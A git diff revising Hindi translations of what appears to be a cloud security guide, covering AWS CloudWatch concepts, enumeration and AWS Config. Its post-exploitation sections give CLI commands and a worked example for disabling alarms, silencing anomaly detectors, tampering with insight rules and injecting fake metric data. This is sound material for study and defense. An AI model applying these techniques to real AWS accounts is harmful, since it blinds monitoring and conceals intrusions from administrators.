शामिल हैं। +Statistics मेट्रिक डेटा पर किए गए गणितीय गणनाएँ हैं जो इसे समय के साथ संक्षिप्त करती हैं। सामान्य सांख्यिकी में औसत, योग, न्यूनतम, अधिकतम, और नमूना गणना शामिल हैं। -- **उदाहरण**: एक घंटे की अवधि में औसत CPU उपयोग की गणना करना। +- **उदाहरण**: एक घंटे की अवधि में CPU उपयोग का औसत निकालना। ### Units -Units मेट्रिक से जुड़े मापने के प्रकार होते हैं। Units मेट्रिक डेटा को संदर्भ और अर्थ प्रदान करने में मदद करते हैं। सामान्य यूनिट्स में प्रतिशत, बाइट्स, सेकंड, गिनती शामिल हैं। +Units मेट्रिक से जुड़े मापने के प्रकार होते हैं। Units मेट्रिक डेटा को संदर्भ और अर्थ प्रदान करने में मदद करते हैं। सामान्य यूनिट्स में प्रतिशत, बाइट्स, सेकंड, गणना शामिल हैं। -- **उदाहरण**: CPUUtilization को प्रतिशत में मापा जा सकता है, जबकि NetworkIn को बाइट्स में मापा जा सकता है। +- **उदाहरण**: CPUUtilization प्रतिशत में मापा जा सकता है, जबकि NetworkIn बाइट्स में मापा जा सकता है। ## CloudWatch Features ### Dashboard -**CloudWatch डैशबोर्ड** आपके AWS CloudWatch मेट्रिक्स के अनुकूलन योग्य **दृश्यों** को प्रदान करते हैं। डेटा को दृश्य में देखने और संसाधनों की निगरानी करने के लिए डैशबोर्ड बनाने और कॉन्फ़िगर करना संभव है, विभिन्न AWS सेवाओं से विभिन्न मेट्रिक्स को संयोजित करना। +**CloudWatch डैशबोर्ड** आपके AWS CloudWatch मेट्रिक्स के अनुकूलन योग्य **दृश्यों** को प्रदान करते हैं। डेटा को दृश्य बनाने और एकल दृश्य में संसाधनों की निगरानी करने के लिए डैशबोर्ड बनाने और कॉन्फ़िगर करना संभव है, विभिन्न AWS सेवाओं से विभिन्न मेट्रिक्स को संयोजित करना। **मुख्य विशेषताएँ**: @@ -62,22 +62,22 @@ Units मेट्रिक से जुड़े मापने के प् **उदाहरण उपयोग मामला**: -- आपके पूरे AWS वातावरण के लिए प्रमुख मेट्रिक्स दिखाने वाला एकल डैशबोर्ड, जिसमें EC2 उदाहरण, RDS डेटाबेस, और S3 बकेट शामिल हैं। +- आपके पूरे AWS वातावरण के लिए प्रमुख मेट्रिक्स दिखाने वाला एकल डैशबोर्ड, जिसमें EC2 इंस्टेंस, RDS डेटाबेस, और S3 बकेट शामिल हैं। ### Metric Stream and Metric Data -**Metric Streams** AWS CloudWatch में आपको लगभग वास्तविक समय में अपने पसंद के गंतव्य पर CloudWatch मेट्रिक्स को निरंतर स्ट्रीम करने की अनुमति देते हैं। यह उन्नत निगरानी, विश्लेषण, और AWS के बाहर के उपकरणों का उपयोग करके कस्टम डैशबोर्ड के लिए विशेष रूप से उपयोगी है। +**Metric Streams** AWS CloudWatch में आपको लगभग वास्तविक समय में CloudWatch मेट्रिक्स को आपके द्वारा चुने गए गंतव्य पर निरंतर स्ट्रीम करने की अनुमति देते हैं। यह उन्नत निगरानी, विश्लेषण, और AWS के बाहर के उपकरणों का उपयोग करके कस्टम डैशबोर्ड के लिए विशेष रूप से उपयोगी है। **Metric Data** Metric Streams के भीतर उन वास्तविक मापों या डेटा बिंदुओं को संदर्भित करता है जो स्ट्रीम किए जा रहे हैं। ये डेटा बिंदु विभिन्न मेट्रिक्स जैसे CPU उपयोग, मेमोरी उपयोग, आदि का प्रतिनिधित्व करते हैं, AWS संसाधनों के लिए। **उदाहरण उपयोग मामला**: - उन्नत विश्लेषण के लिए एक तृतीय-पक्ष निगरानी सेवा को वास्तविक समय के मेट्रिक्स भेजना। -- दीर्घकालिक भंडारण और अनुपालन के लिए एक Amazon S3 बकेट में मेट्रिक्स का संग्रहण करना। +- दीर्घकालिक भंडारण और अनुपालन के लिए एक Amazon S3 बकेट में मेट्रिक्स का संग्रहण। ### Alarm -**CloudWatch अलार्म** आपके मेट्रिक्स की निगरानी करते हैं और पूर्वनिर्धारित थ्रेशोल्ड के आधार पर क्रियाएँ करते हैं। जब कोई मेट्रिक एक थ्रेशोल्ड को पार करता है, तो अलार्म एक या एक से अधिक क्रियाएँ कर सकता है जैसे कि SNS के माध्यम से सूचनाएँ भेजना, ऑटो-स्केलिंग नीति को सक्रिय करना, या AWS Lambda फ़ंक्शन चलाना। +**CloudWatch अलार्म** आपके मेट्रिक्स की निगरानी करते हैं और पूर्वनिर्धारित थ्रेशोल्ड के आधार पर क्रियाएँ करते हैं। जब एक मेट्रिक एक थ्रेशोल्ड को पार करता है, तो अलार्म एक या एक से अधिक क्रियाएँ कर सकता है जैसे कि SNS के माध्यम से सूचनाएँ भेजना, ऑटो-स्केलिंग नीति को सक्रिय करना, या AWS Lambda फ़ंक्शन चलाना। **मुख्य घटक**: @@ -88,7 +88,7 @@ Units मेट्रिक से जुड़े मापने के प् **उदाहरण उपयोग मामला**: -- EC2 उदाहरण CPU उपयोग की निगरानी करना और यदि यह 5 लगातार मिनटों के लिए 80% से अधिक हो जाता है तो SNS के माध्यम से एक सूचना भेजना। +- EC2 इंस्टेंस CPU उपयोग की निगरानी करना और यदि यह 80% के लिए 5 लगातार मिनटों के लिए पार करता है तो SNS के माध्यम से एक सूचना भेजना। ### Anomaly Detectors @@ -101,7 +101,7 @@ Units मेट्रिक से जुड़े मापने के प् **उदाहरण उपयोग मामला**: -- EC2 उदाहरण में असामान्य CPU उपयोग पैटर्न का पता लगाना जो सुरक्षा उल्लंघन या अनुप्रयोग समस्या का संकेत दे सकता है। +- EC2 इंस्टेंस में असामान्य CPU उपयोग पैटर्न का पता लगाना जो सुरक्षा उल्लंघन या अनुप्रयोग समस्या का संकेत दे सकता है। ### Insight Rules and Managed Insight Rules @@ -115,9 +115,9 @@ Units मेट्रिक से जुड़े मापने के प् ### CloudWatch Logs -अनुप्रयोगों और सिस्टमों से **लॉग को एकत्रित और निगरानी** करने की अनुमति देता है **AWS सेवाओं** (जिसमें CloudTrail शामिल है) और **ऐप्स/सिस्टम** से (**CloudWatch एजेंट** को एक होस्ट पर स्थापित किया जा सकता है)। लॉग को **अनिश्चितकालीन** (लॉग समूह सेटिंग्स के आधार पर) संग्रहीत किया जा सकता है और निर्यात किया जा सकता है। +अनुप्रयोगों और सिस्टम से **लॉग को एकत्रित और निगरानी** करने की अनुमति देता है **AWS सेवाओं** (जिसमें CloudTrail शामिल है) और **ऐप्स/सिस्टम** से (**CloudWatch एजेंट** को एक होस्ट पर स्थापित किया जा सकता है)। लॉग को **अनिश्चितकालीन** (लॉग समूह सेटिंग्स के आधार पर) संग्रहीत किया जा सकता है और निर्यात किया जा सकता है। -**तत्व**: +**घटक**: | **लॉग समूह** | एक **लॉग स्ट्रीम का संग्रह** जो समान रिटेंशन, निगरानी, और एक्सेस नियंत्रण सेटिंग्स साझा करता है | | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | @@ -126,18 +126,18 @@ Units मेट्रिक से जुड़े मापने के प् ### CloudWatch Monitoring & Events -CloudWatch **बुनियादी** डेटा को **हर 5 मिनट** में एकत्र करता है (**विस्तृत** वाला **हर 1 मिनट** में ऐसा करता है)। एकत्रण के बाद, यह **अलार्म के थ्रेशोल्ड की जांच करता है** यदि इसे एक को सक्रिय करने की आवश्यकता है।\ -इस मामले में, CloudWatch एक इवेंट भेजने और कुछ स्वचालित क्रियाएँ करने के लिए तैयार हो सकता है (AWS लैंब्डा फ़ंक्शन, SNS विषय, SQS कतारें, Kinesis स्ट्रीम) +CloudWatch **बुनियादी** हर 5 मिनट में डेटा को **संक्षिप्त** करता है ( **विस्तृत** एक मिनट में ऐसा करता है)। संक्षेपण के बाद, यह **अलार्म के थ्रेशोल्ड की जांच करता है** यदि इसे एक को सक्रिय करने की आवश्यकता है।\ +इस मामले में, CloudWatch एक इवेंट भेजने और कुछ स्वचालित क्रियाएँ करने के लिए तैयार हो सकता है (AWS Lambda फ़ंक्शन, SNS विषय, SQS कतारें, Kinesis स्ट्रीम) ### Agent Installation आप अपने मशीनों/कंटेनरों के अंदर एजेंट स्थापित कर सकते हैं ताकि स्वचालित रूप से लॉग को CloudWatch पर वापस भेजा जा सके। -- **एक** **भूमिका** बनाएं और **इंस्टेंस** से संलग्न करें जिसमें CloudWatch को इंस्टेंस से डेटा एकत्र करने की अनुमति देने वाले अनुमतियाँ हों, इसके अलावा AWS सिस्टम प्रबंधक SSM के साथ बातचीत करने की अनुमति हो (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) -- **एजेंट** को EC2 उदाहरण पर **डाउनलोड** और **स्थापित** करें ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). आप इसे EC2 के अंदर से डाउनलोड कर सकते हैं या AWS सिस्टम प्रबंधक का उपयोग करके स्वचालित रूप से स्थापित कर सकते हैं, पैकेज AWS-ConfigureAWSPackage का चयन करके। +- **एक** **भूमिका** बनाएं और **इंस्टेंस** से **जोड़ें** जिसमें CloudWatch को इंस्टेंस से डेटा एकत्र करने के लिए अनुमति देने वाले अनुमतियाँ हों, इसके अलावा AWS सिस्टम प्रबंधक SSM के साथ बातचीत करने के लिए (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) +- **एजेंट** को EC2 इंस्टेंस पर **डाउनलोड** और **स्थापित** करें ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). आप इसे EC2 के अंदर से डाउनलोड कर सकते हैं या AWS सिस्टम प्रबंधक का उपयोग करके स्वचालित रूप से स्थापित कर सकते हैं, पैकेज AWS-ConfigureAWSPackage का चयन करके। - CloudWatch एजेंट को **कॉन्फ़िगर** और **शुरू करें**। -एक लॉग समूह में कई स्ट्रीम होती हैं। एक स्ट्रीम में कई इवेंट होते हैं। और प्रत्येक स्ट्रीम के भीतर, इवेंट क्रम में होने की गारंटी होती है। +एक लॉग समूह में कई स्ट्रीम होते हैं। एक स्ट्रीम में कई इवेंट होते हैं। और प्रत्येक स्ट्रीम के भीतर, इवेंट क्रम में होने की गारंटी होती है। ## Enumeration ```bash @@ -216,7 +216,7 @@ aws events list-event-buses ### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`** -इस अनुमति के साथ एक हमलावर एक संगठन की निगरानी और अलर्टिंग अवसंरचना को महत्वपूर्ण रूप से कमजोर कर सकता है। मौजूदा अलार्मों को हटाकर, एक हमलावर महत्वपूर्ण प्रदर्शन मुद्दों, सुरक्षा उल्लंघनों, या संचालन विफलताओं के बारे में प्रशासकों को सूचित करने वाले महत्वपूर्ण अलर्ट को निष्क्रिय कर सकता है। इसके अलावा, मेट्रिक अलार्म बनाने या संशोधित करके, हमलावर प्रशासकों को झूठे अलर्ट के साथ गुमराह कर सकता है या वैध अलार्मों को चुप करा सकता है, प्रभावी रूप से दुर्भावनापूर्ण गतिविधियों को छिपा सकता है और वास्तविक घटनाओं के लिए समय पर प्रतिक्रिया को रोक सकता है। +इस अनुमति के साथ एक हमलावर एक संगठन की निगरानी और अलर्टिंग अवसंरचना को महत्वपूर्ण रूप से कमजोर कर सकता है। मौजूदा अलार्मों को हटाकर, एक हमलावर महत्वपूर्ण प्रदर्शन मुद्दों, सुरक्षा उल्लंघनों, या संचालन विफलताओं के बारे में प्रशासकों को सूचित करने वाले महत्वपूर्ण अलर्ट को निष्क्रिय कर सकता है। इसके अलावा, मेट्रिक अलार्म बनाने या संशोधित करके, हमलावर प्रशासकों को गलत अलर्ट के साथ भटका सकता है या वैध अलार्मों को चुप करा सकता है, प्रभावी रूप से दुर्भावनापूर्ण गतिविधियों को छिपा सकता है और वास्तविक घटनाओं के लिए समय पर प्रतिक्रियाओं को रोक सकता है। इसके अलावा, **`cloudwatch:PutCompositeAlarm`** अनुमति के साथ, एक हमलावर समग्र अलार्मों का एक लूप या चक्र बनाने में सक्षम होगा, जहां समग्र अलार्म A समग्र अलार्म B पर निर्भर करता है, और समग्र अलार्म B भी समग्र अलार्म A पर निर्भर करता है। इस परिदृश्य में, चक्र का हिस्सा होने वाले किसी भी समग्र अलार्म को हटाना संभव नहीं है क्योंकि हमेशा एक समग्र अलार्म होता है जो उस अलार्म पर निर्भर करता है जिसे आप हटाना चाहते हैं। ```bash @@ -224,10 +224,10 @@ aws cloudwatch put-metric-alarm --cli-input-json | --alarm-name aws cloudwatch delete-alarms --alarm-names aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--no-actions-enabled | --actions-enabled [--alarm-actions ] [--insufficient-data-actions ] [--ok-actions ] ] ``` -The following example shows how to make a metric alarm ineffective: +उदाहरण दिखाता है कि एक मैट्रिक अलार्म को कैसे अप्रभावी बनाया जा सकता है: -- यह मेट्रिक अलार्म एक विशिष्ट EC2 इंस्टेंस के औसत CPU उपयोग की निगरानी करता है, हर 300 सेकंड में मेट्रिक का मूल्यांकन करता है और 6 मूल्यांकन अवधियों की आवश्यकता होती है (कुल 30 मिनट)। यदि औसत CPU उपयोग इन अवधियों में से कम से कम 4 के लिए 60% से अधिक हो जाता है, तो अलार्म ट्रिगर होगा और निर्दिष्ट SNS विषय को एक सूचना भेजेगा। -- थ्रेशोल्ड को 99% से अधिक, पीरियड को 10 सेकंड, मूल्यांकन अवधियों को 8640 (क्योंकि 10 सेकंड के 8640 अवधियों का मतलब 1 दिन है), और डाटापॉइंट्स को अलार्म के लिए 8640 पर सेट करके, CPU उपयोग को पूरे 24 घंटे की अवधि में हर 10 सेकंड में 99% से अधिक होना आवश्यक होगा ताकि अलार्म ट्रिगर हो सके। +- यह मैट्रिक अलार्म एक विशिष्ट EC2 इंस्टेंस की औसत CPU उपयोगिता की निगरानी करता है, हर 300 सेकंड में मैट्रिक का मूल्यांकन करता है और 6 मूल्यांकन अवधियों की आवश्यकता होती है (कुल 30 मिनट)। यदि औसत CPU उपयोगिता इन अवधियों में से कम से कम 4 के लिए 60% से अधिक हो जाती है, तो अलार्म ट्रिगर होगा और निर्दिष्ट SNS विषय को एक सूचना भेजेगा। +- थ्रेशोल्ड को 99% से अधिक करने, पीरियड को 10 सेकंड सेट करने, मूल्यांकन अवधियों को 8640 (क्योंकि 10 सेकंड के 8640 अवधियों का मतलब 1 दिन है) और डाटापॉइंट्स को अलार्म के लिए 8640 करने से, CPU उपयोगिता को पूरे 24 घंटे की अवधि में हर 10 सेकंड में 99% से अधिक होना आवश्यक होगा ताकि अलार्म ट्रिगर हो सके। {{#tabs }} {{#tab name="Original Metric Alarm" }} @@ -279,21 +279,21 @@ The following example shows how to make a metric alarm ineffective: {{#endtab }} {{#endtabs }} -**संभावित प्रभाव**: महत्वपूर्ण घटनाओं के लिए सूचनाओं की कमी, संभावित अप्रयुक्त मुद्दे, गलत अलर्ट, वास्तविक अलर्ट को दबाना और वास्तविक घटनाओं की संभावित पहचान को चूकना। +**संभावित प्रभाव**: महत्वपूर्ण घटनाओं के लिए सूचनाओं की कमी, संभावित अप्रयुक्त मुद्दे, गलत अलर्ट, वास्तविक अलर्ट को दबाना और वास्तविक घटनाओं की पहचान को संभावित रूप से चूकना। -### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions` , `cloudwatch:SetAlarmState`** +### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`** अलार्म क्रियाओं को हटाकर, हमलावर महत्वपूर्ण अलर्ट और स्वचालित प्रतिक्रियाओं को रोक सकता है जब अलार्म स्थिति प्राप्त होती है, जैसे कि प्रशासकों को सूचित करना या ऑटो-स्केलिंग गतिविधियों को सक्रिय करना। अनुचित रूप से अलार्म क्रियाओं को सक्षम या पुनः सक्षम करना भी अप्रत्याशित व्यवहार का कारण बन सकता है, या तो पहले से अक्षम की गई क्रियाओं को फिर से सक्रिय करके या यह संशोधित करके कि कौन सी क्रियाएँ सक्रिय होती हैं, संभावित रूप से घटना प्रतिक्रिया में भ्रम और गलत दिशा का कारण बनता है। -इसके अतिरिक्त, एक हमलावर जिसके पास अनुमति है, अलार्म स्थितियों में हेरफेर कर सकता है, झूठे अलार्म बनाने में सक्षम हो सकता है ताकि प्रशासकों को विचलित और भ्रमित किया जा सके, या चल रही दुर्भावनापूर्ण गतिविधियों या महत्वपूर्ण प्रणाली विफलताओं को छिपाने के लिए वास्तविक अलार्म को चुप करा सके। +इसके अलावा, एक हमलावर जिसके पास अनुमति है, अलार्म स्थितियों में हेरफेर कर सकता है, झूठे अलार्म बनाने में सक्षम हो सकता है ताकि प्रशासकों को विचलित और भ्रमित किया जा सके, या चल रही दुर्भावनापूर्ण गतिविधियों या महत्वपूर्ण प्रणाली विफलताओं को छिपाने के लिए वास्तविक अलार्मों को चुप करा सके। -- यदि आप **`SetAlarmState`** का उपयोग एक समग्र अलार्म पर करते हैं, तो समग्र अलार्म को इसकी वास्तविक स्थिति पर लौटने की गारंटी नहीं है। यह केवल तब अपनी वास्तविक स्थिति पर लौटता है जब इसके किसी भी बच्चे अलार्म की स्थिति बदलती है। यदि आप इसकी कॉन्फ़िगरेशन को अपडेट करते हैं तो इसे फिर से मूल्यांकन भी किया जाता है। +- यदि आप **`SetAlarmState`** का उपयोग एक समग्र अलार्म पर करते हैं, तो समग्र अलार्म को इसकी वास्तविक स्थिति पर लौटने की गारंटी नहीं है। यह केवल तब अपनी वास्तविक स्थिति पर लौटता है जब इसके किसी भी बच्चे अलार्म की स्थिति बदलती है। यदि आप इसकी कॉन्फ़िगरेशन को अपडेट करते हैं तो इसे फिर से मूल्यांकन किया जाता है। ```bash aws cloudwatch disable-alarm-actions --alarm-names aws cloudwatch enable-alarm-actions --alarm-names aws cloudwatch set-alarm-state --alarm-name --state-value --state-reason [--state-reason-data ] ``` -**संभावित प्रभाव**: महत्वपूर्ण घटनाओं के लिए सूचनाओं की कमी, संभावित अप्रयुक्त मुद्दे, गलत अलर्ट, वास्तविक अलर्ट को दबाना और वास्तविक घटनाओं की संभावित पहचान चूकना। +**संभावित प्रभाव**: महत्वपूर्ण घटनाओं के लिए सूचनाओं की कमी, संभावित अप्रयुक्त मुद्दे, गलत अलर्ट, वास्तविक अलर्ट को दबाना और वास्तविक घटनाओं की संभावित पहचान को चूकना। ### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`** @@ -302,7 +302,7 @@ aws cloudwatch set-alarm-state --alarm-name --state-value | --namespace --metric-name --dimensions --stat ] aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ] ``` -उदाहरण दिखाता है कि एक मैट्रिक विसंगति डिटेक्टर को कैसे अप्रभावी बनाया जाए। यह मैट्रिक विसंगति डिटेक्टर एक विशिष्ट EC2 उदाहरण के औसत CPU उपयोग की निगरानी करता है, और बस “ExcludedTimeRanges” पैरामीटर को वांछित समय सीमा के साथ जोड़ने से, यह सुनिश्चित करने के लिए पर्याप्त होगा कि विसंगति डिटेक्टर उस अवधि के दौरान किसी भी प्रासंगिक डेटा का विश्लेषण या अलर्ट नहीं करता है। +निम्नलिखित उदाहरण दिखाता है कि एक मैट्रिक विसंगति डिटेक्टर को अप्रभावी कैसे बनाया जाए। यह मैट्रिक विसंगति डिटेक्टर एक विशिष्ट EC2 इंस्टेंस के औसत CPU उपयोग की निगरानी करता है, और बस "ExcludedTimeRanges" पैरामीटर को वांछित समय सीमा के साथ जोड़ने से यह सुनिश्चित करने के लिए पर्याप्त होगा कि विसंगति डिटेक्टर उस अवधि के दौरान किसी भी प्रासंगिक डेटा का विश्लेषण या अलर्ट नहीं करता है। {{#tabs }} {{#tab name="Original Metric Anomaly Detector" }} @@ -355,7 +355,7 @@ aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace aws cloudwatch put-dashboard --dashboard-name --dashboard-body @@ -364,7 +364,7 @@ aws cloudwatch put-dashboard --dashboard-name --dashboard-body ### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`** -Insight नियमों का उपयोग विसंगतियों का पता लगाने, प्रदर्शन को अनुकूलित करने और संसाधनों का प्रभावी ढंग से प्रबंधन करने के लिए किया जाता है। मौजूदा insight नियमों को हटाकर, एक हमलावर महत्वपूर्ण निगरानी क्षमताओं को हटा सकता है, जिससे प्रणाली प्रदर्शन मुद्दों और सुरक्षा खतरों के प्रति अंधी हो जाती है। इसके अतिरिक्त, एक हमलावर misleading डेटा उत्पन्न करने या दुर्भावनापूर्ण गतिविधियों को छिपाने के लिए insight नियमों को बना या संशोधित कर सकता है, जिससे गलत निदान और संचालन टीम से अनुपयुक्त प्रतिक्रियाएँ हो सकती हैं। +Insight नियमों का उपयोग विसंगतियों का पता लगाने, प्रदर्शन को अनुकूलित करने और संसाधनों का प्रभावी ढंग से प्रबंधन करने के लिए किया जाता है। मौजूदा insight नियमों को हटाकर, एक हमलावर महत्वपूर्ण निगरानी क्षमताओं को हटा सकता है, जिससे प्रणाली प्रदर्शन मुद्दों और सुरक्षा खतरों के प्रति अंधी हो जाती है। इसके अतिरिक्त, एक हमलावर भ्रामक डेटा उत्पन्न करने या दुर्भावनापूर्ण गतिविधियों को छिपाने के लिए insight नियमों को बना या संशोधित कर सकता है, जिससे गलत निदान और संचालन टीम से अनुपयुक्त प्रतिक्रियाएँ हो सकती हैं। ```bash aws cloudwatch delete-insight-rules --rule-names aws cloudwatch put-insight-rule --rule-name --rule-definition [--rule-state ] @@ -374,7 +374,7 @@ aws cloudwatch put-managed-insight-rules --managed-rules ### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`** -महत्वपूर्ण अंतर्दृष्टि नियमों को निष्क्रिय करके, एक हमलावर संगठन को प्रमुख प्रदर्शन और सुरक्षा मैट्रिक्स के प्रति अंधा कर सकता है। इसके विपरीत, भ्रामक नियमों को सक्षम या कॉन्फ़िगर करके, गलत डेटा उत्पन्न करना, शोर पैदा करना, या दुर्भावनापूर्ण गतिविधि को छिपाना संभव हो सकता है। +महत्वपूर्ण अंतर्दृष्टि नियमों को निष्क्रिय करके, एक हमलावर संगठन को प्रमुख प्रदर्शन और सुरक्षा मैट्रिक्स के प्रति प्रभावी रूप से अंधा कर सकता है। इसके विपरीत, भ्रामक नियमों को सक्षम या कॉन्फ़िगर करके, गलत डेटा उत्पन्न करना, शोर बनाना, या दुर्भावनापूर्ण गतिविधि को छिपाना संभव हो सकता है। ```bash aws cloudwatch disable-insight-rules --rule-names aws cloudwatch enable-insight-rules --rule-names @@ -383,11 +383,11 @@ aws cloudwatch enable-insight-rules --rule-names ### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`** -एक हमलावर के पास **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** अनुमतियाँ होने पर वह मेट्रिक डेटा स्ट्रीम बनाने और हटाने में सक्षम होगा, जिससे सुरक्षा, निगरानी और डेटा की अखंडता प्रभावित होगी: +एक हमलावर जिसके पास **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** अनुमतियाँ हैं, वह मेट्रिक डेटा स्ट्रीम बनाने और हटाने में सक्षम होगा, जिससे सुरक्षा, निगरानी और डेटा की अखंडता प्रभावित होगी: - **दुष्ट स्ट्रीम बनाना**: संवेदनशील डेटा को अनधिकृत स्थलों पर भेजने के लिए मेट्रिक स्ट्रीम बनाना। - **संसाधन हेरफेर**: अत्यधिक डेटा के साथ नए मेट्रिक स्ट्रीम बनाने से बहुत अधिक शोर उत्पन्न हो सकता है, जिससे गलत चेतावनियाँ उत्पन्न होती हैं, और वास्तविक मुद्दों को छिपा दिया जाता है। -- **निगरानी में विघटन**: मेट्रिक स्ट्रीम को हटाने से, हमलावर निगरानी डेटा के निरंतर प्रवाह को बाधित कर देंगे। इस तरह, उनकी दुष्ट गतिविधियाँ प्रभावी रूप से छिपी रहेंगी। +- **निगरानी में विघटन**: मेट्रिक स्ट्रीम को हटाने से, हमलावर निरंतर निगरानी डेटा के प्रवाह को बाधित कर देंगे। इस तरह, उनकी दुष्ट गतिविधियाँ प्रभावी रूप से छिपी रहेंगी। इसी तरह, **`cloudwatch:PutMetricData`** अनुमति के साथ, मेट्रिक स्ट्रीम में डेटा जोड़ना संभव होगा। इससे DoS हो सकता है क्योंकि जो गलत डेटा जोड़ा गया है, उसकी मात्रा के कारण यह पूरी तरह से बेकार हो जाएगा। ```bash @@ -395,7 +395,7 @@ aws cloudwatch delete-metric-stream --name aws cloudwatch put-metric-stream --name [--include-filters ] [--exclude-filters ] --firehose-arn --role-arn --output-format aws cloudwatch put-metric-data --namespace [--metric-data ] [--metric-name ] [--timestamp ] [--unit ] [--value ] [--dimensions ] ``` -EC2 इंस्टेंस पर CPU उपयोग के 70% के अनुरूप डेटा जोड़ने का उदाहरण: +एक EC2 इंस्टेंस पर 70% CPU उपयोग के अनुरूप डेटा जोड़ने का उदाहरण: ```bash aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilization" --value 70 --unit "Percent" --dimensions "InstanceId=i-0123456789abcdefg" ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md index 0e53f7a08..32a0c6c76 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md @@ -4,28 +4,28 @@ ## AWS Config -AWS Config **संसाधन परिवर्तनों को कैप्चर करता है**, इसलिए Config द्वारा समर्थित किसी भी संसाधन में परिवर्तन को रिकॉर्ड किया जा सकता है, जो **यह रिकॉर्ड करेगा कि क्या बदला, साथ ही अन्य उपयोगी मेटाडेटा, सभी को एक फ़ाइल में रखा गया है जिसे कॉन्फ़िगरेशन आइटम कहा जाता है**, एक CI। यह सेवा **क्षेत्र विशेष** है। +AWS Config **संसाधन परिवर्तनों को कैप्चर करता है**, इसलिए Config द्वारा समर्थित किसी भी संसाधन में परिवर्तन को रिकॉर्ड किया जा सकता है, जो **यह रिकॉर्ड करेगा कि क्या बदला गया है साथ ही अन्य उपयोगी मेटाडेटा, सभी को एक फ़ाइल में रखा गया है जिसे कॉन्फ़िगरेशन आइटम कहा जाता है**, एक CI। यह सेवा **क्षेत्र विशेष** है। -एक कॉन्फ़िगरेशन आइटम या **CI** जैसा कि इसे कहा जाता है, AWS Config का एक प्रमुख घटक है। यह एक JSON फ़ाइल से बना है जो **कॉन्फ़िगरेशन जानकारी, संबंध जानकारी और अन्य मेटाडेटा को एक समर्थित संसाधन के समय-विशिष्ट स्नैपशॉट दृश्य के रूप में रखता है**। AWS Config द्वारा किसी संसाधन के लिए रिकॉर्ड की जा सकने वाली सभी जानकारी CI के भीतर कैप्चर की जाती है। एक CI **हर बार** बनाई जाती है जब किसी समर्थित संसाधन की कॉन्फ़िगरेशन में किसी भी तरह से परिवर्तन किया जाता है। प्रभावित संसाधन के विवरण को रिकॉर्ड करने के अलावा, AWS Config किसी भी सीधे संबंधित संसाधनों के लिए भी CIs को रिकॉर्ड करेगा ताकि यह सुनिश्चित किया जा सके कि परिवर्तन ने उन संसाधनों को भी प्रभावित नहीं किया। +एक कॉन्फ़िगरेशन आइटम या **CI** जैसा कि इसे कहा जाता है, AWS Config का एक प्रमुख घटक है। यह एक JSON फ़ाइल से बना है जो **कॉन्फ़िगरेशन जानकारी, संबंध जानकारी और अन्य मेटाडेटा को एक समर्थित संसाधन के समय-विशिष्ट स्नैपशॉट दृश्य के रूप में रखता है**। सभी जानकारी जो AWS Config किसी संसाधन के लिए रिकॉर्ड कर सकता है, CI के भीतर कैप्चर की जाती है। एक CI **हर बार** बनाया जाता है जब किसी समर्थित संसाधन की कॉन्फ़िगरेशन में किसी भी तरह से परिवर्तन किया जाता है। प्रभावित संसाधन के विवरण को रिकॉर्ड करने के अलावा, AWS Config किसी भी सीधे संबंधित संसाधनों के लिए भी CIs को रिकॉर्ड करेगा ताकि यह सुनिश्चित किया जा सके कि परिवर्तन ने उन संसाधनों को भी प्रभावित नहीं किया। - **मेटाडेटा**: कॉन्फ़िगरेशन आइटम के बारे में विवरण शामिल करता है। एक संस्करण ID और एक कॉन्फ़िगरेशन ID, जो CI को अद्वितीय रूप से पहचानता है। अन्य जानकारी में एक MD5Hash शामिल हो सकता है जो आपको पहले से रिकॉर्ड किए गए अन्य CIs की तुलना करने की अनुमति देता है। -- **विशेषताएँ**: यह वास्तविक संसाधन के खिलाफ सामान्य **विशेषता जानकारी रखता है**। इस अनुभाग में, हमारे पास एक अद्वितीय संसाधन ID और किसी भी कुंजी मान टैग भी हैं जो संसाधन से जुड़े हैं। संसाधन प्रकार भी सूचीबद्ध है। उदाहरण के लिए, यदि यह एक EC2 उदाहरण के लिए CI था, तो सूचीबद्ध संसाधन प्रकार नेटवर्क इंटरफेस या उस EC2 उदाहरण के लिए इलास्टिक IP पता हो सकते हैं। -- **संबंध**: यह किसी भी जुड़े **संबंध के लिए जानकारी रखता है जो संसाधन हो सकता है**। इसलिए इस अनुभाग में, यह इस संसाधन के पास अन्य संसाधनों के साथ किसी भी संबंध का स्पष्ट विवरण दिखाएगा। उदाहरण के लिए, यदि CI एक EC2 उदाहरण के लिए था, तो संबंध अनुभाग VPC के साथ कनेक्शन और उस सबनेट को दिखा सकता है जिसमें EC2 उदाहरण स्थित है। -- **वर्तमान कॉन्फ़िगरेशन:** यह वही 